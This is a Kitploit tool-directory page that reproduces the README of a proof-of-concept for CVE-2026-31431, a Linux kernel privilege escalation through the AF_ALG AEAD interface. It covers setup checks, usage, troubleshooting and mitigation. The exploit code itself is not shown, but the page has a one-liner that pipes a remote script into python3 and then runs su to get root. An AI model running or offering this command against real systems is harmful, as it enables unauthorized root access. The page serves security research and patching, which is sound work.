Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-31431 — Educational proof-of-concept demonstrating Linux kernel local privilege escalation via AF_ALG algif_aead (CVE-2026-31431). Includes usage instructions and mitigation guidance for defensive research. | Kitploit
Tools/GitHubGitHub/ademzero/cve-2026-31431
Privilege EscalationVulnerability AnalysisExploitationLearning & Education
GitHubademzero/cve-2026-31431

CVE-2026-31431

Educational proof-of-concept demonstrating Linux kernel local privilege escalation via AF_ALG algif_aead (CVE-2026-31431). Includes usage instructions and mitigation guidance for defensive research.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431 - Copy Fail PoC

Educational Proof of Concept for CVE-2026-31431, also known as Copy Fail, a Linux kernel local privilege escalation vulnerability involving the AF_ALG / algif_aead cryptographic interface.

[!WARNING] This repository is provided strictly for educational, defensive, and authorized security research purposes only.

Do not run this code on systems you do not own or on systems where you do not have explicit written permission to test.

Unauthorized use may be illegal.


Overview

CVE-2026-31431 is a Linux kernel local privilege escalation vulnerability affecting the kernel cryptographic subsystem.

The vulnerability involves the AEAD path exposed through the AF_ALG interface and may allow a local unprivileged user to interfere with page cache data associated with readable files, potentially leading to privilege escalation on vulnerable systems.

This repository contains a minimal educational Proof of Concept intended for controlled lab environments.


Requirements

The target system must expose the required AF_ALG AEAD algorithm.

You can check this with:

root@kitploit:~
grep -i "authencesn\|authenc" /proc/crypto

The PoC expects support for an algorithm similar to:

root@kitploit:~
authencesn(hmac(sha256),cbc(aes))

If the algorithm is not available, the PoC may fail with an error such as:

root@kitploit:~
FileNotFoundError: [Errno 2] No such file or directory

This means the required kernel crypto algorithm is not available on the system.


Usage

Clone the repository:

root@kitploit:~
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431

Run the PoC:

root@kitploit:~
python3 poc.py

Or run it directly:

root@kitploit:~
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su

Compatibility Notes

Some Linux systems use /bin/su instead of /usr/bin/su. You can check the correct path with:

root@kitploit:~
which su

If needed, adjust the target path inside poc.py.


Troubleshooting

Missing AEAD algorithm

If you get FileNotFoundError: [Errno 2] No such file or directory while binding to authencesn(hmac(sha256),cbc(aes)), then the required kernel algorithm is unavailable.

Check available crypto algorithms:

root@kitploit:~
cat /proc/crypto

or more specifically:

root@kitploit:~
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto

Wrong su path

If the PoC references /usr/bin/su but your system uses /bin/su, check with:

root@kitploit:~
which su

Then update the path in poc.py accordingly.


Mitigation

Defenders should update to a patched Linux kernel version provided by their distribution vendor.

After updating the kernel, reboot the system to ensure the patched kernel is active.

Temporary mitigations may include restricting access to affected kernel crypto functionality depending on the environment and distribution.


Legal Disclaimer

This project is intended only for:

  • Security research
  • Defensive validation
  • Educational purposes
  • Authorized lab testing

The author is not responsible for misuse, damage, or illegal activity caused by this code.

Use only on systems where you have explicit authorization.


License

This project is licensed under the MIT License.

Download Tool